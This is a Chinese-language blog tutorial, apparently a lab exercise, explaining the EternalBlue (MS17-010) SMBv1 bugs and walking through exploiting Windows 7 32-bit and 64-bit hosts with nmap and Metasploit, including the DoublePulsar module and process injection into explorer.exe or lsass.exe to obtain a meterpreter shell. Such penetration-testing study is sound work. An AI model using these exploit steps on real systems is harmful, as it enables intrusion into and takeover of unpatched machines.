Last updated on:February 18, 2023 pm

1 漏洞原理

1.1 简介

EternalBlue(在微软的MS17-010中被修复)是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。

从EternalBlue这个Exploit被影子经纪人公布到互联网上后,就成为了“明星”。这个Exploit被多款恶意软件利用。包括肆虐的WannaCrypt,无文件的勒索软件UIWIX和SMB蠕虫EternalRocks

1.2 漏洞简析

Eternalblue利用了3个不同的bug

  • 第一个是内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,由于错误地使用的WORD强制类型转换,导致在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)的缓冲区溢出
  • 第二个漏洞可以触发缓冲区溢出,这是由于SMB协议定义的两个子命令SMB_COM_TRANSACTION2和SMB_COM_NT_TRANSACT的差别。如果有太多的数据要包含在一个单独的包中,就需要_SECONDARY命令。TRANSACTION2和NT_TRANSACT的关键区别在于后者调用的数据包是前者大小的2倍。如果客户端使用NT_TRANSACT子命令在TRANSACTION2子命令前发送伪造的消息,就会出现验证错误。如果协议发现接收了2个分开的子命令,就会根据最后接收的包的类型来分配类型和大小。因为最后接收的包比较小,所以第一个包会占用比分配空间更多的空间。
  • 一旦攻击者完成初始的溢出,就可以利用SMB v1中的第3个漏洞来进行Heap Spraying(堆喷射),导致在给定地址分配一块内存。然后,攻击者就可以写入和执行shellcode来控制系统。

2 漏洞复现

2.1 渗透Windows7 32-bit

2.1.1 实验环境

实验平台:

  • 带有MS17-010漏洞的Windows 7 pro x86, 内部版本7601
    • IP:192.168.188.136
  • Kali Linux,用于渗透
    • IP:192.168.188.135

实验配置:

kali没有32位机器的渗透模块,我们需要做以下配置

  • 安装wine 32
# root 权限
dpkg --add-architecture i386
apt-get update
apt-get install wine32
  • 拉取EternalBlue_Doublepulsar攻击模块
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit

# 将模块拷贝到msf的相应目录
cd Eternalblue-Doublepulsar-metasploit
cp -r deps/ eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/
  • 运行postgresql
service postgresql start

2.1.2 信息搜集

  • nmap扫描
# root 权限
namp -sS -sV -Pn 192.168.188.136

发现该win7开放了445端口,可进一步采用msfconsole进行扫描分析

  • 查看并使用辅助扫描模块测试目标是否可攻击
# 运行msfconsole工具
msfconsole

# 搜索ms17-010相关模块,并采用辅助模块进行测试
search ms17-010

# 发现有一个ms17_010的扫描检测模块可用, use
use auxiliary/scanner/smb/smb_ms17_010

# 设置RHOSTS项为192.168.188.136
set RHOSTS 192.168.188.136

# 运行该ms17_010检测模块
run

发现确实目标机器存在MS17-010,并提示可用之前git clone的DoublePulsar模块进行侵入

2.1.3 开始渗透

  • 尝试攻击
# 使用doublepulsar攻击模块
use exploit/windows/smb/eternalblue_doublepulsar

# 设置RHOST项为192.168.188.136
set RHOST 192.168.188.136

# 查看攻击模块的配置,请特别注意DOUBLEPULSARPATH是否与你git clone下载的路径一致
show options

# 运行攻击模块
run

# 渗透并没有成功,修改PROCESSINJECT项为explorer.exe (修改为lsass.exe也可以)
set PROCESSINJECT explorer.exe

# 再次exploit,成功
run

meterpreter是一个为攻击者提供交互性shell以便于在目标机器上执行代码的命令行工具。渗透成功的后续攻击可以参考阅读【渗透】meterpreter提权

2.2 渗透Windows7 64-bit

相比于渗透Windows7 32-bit,渗透64位机器要简单得多,因为64位机器的渗透是msf内建支持的。

前几个步骤基本和渗透32位机器一致

2.2.1 信息搜集

  • nmap扫描主机信息
  • msfconsole采用scanner模块扫描检测ms17-010漏洞
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.188.138 # Windows 7 x64
show options
run

2.2.2开始渗透

  • 方法一:采用msf自带的eternalblue攻击模块
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.188 138 # Windows 7 x64
show options
run

成功拿到目标机器的Shell

  • 方法二:采用github开源攻击模块DoublePulsar

步骤和攻击32位机器一致,但是需要配置wine64和wine32共存


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!

【渗透】meterpreter命令详解 Previous
Iptables(1) Next

 TOC

载入天数... 载入时分秒...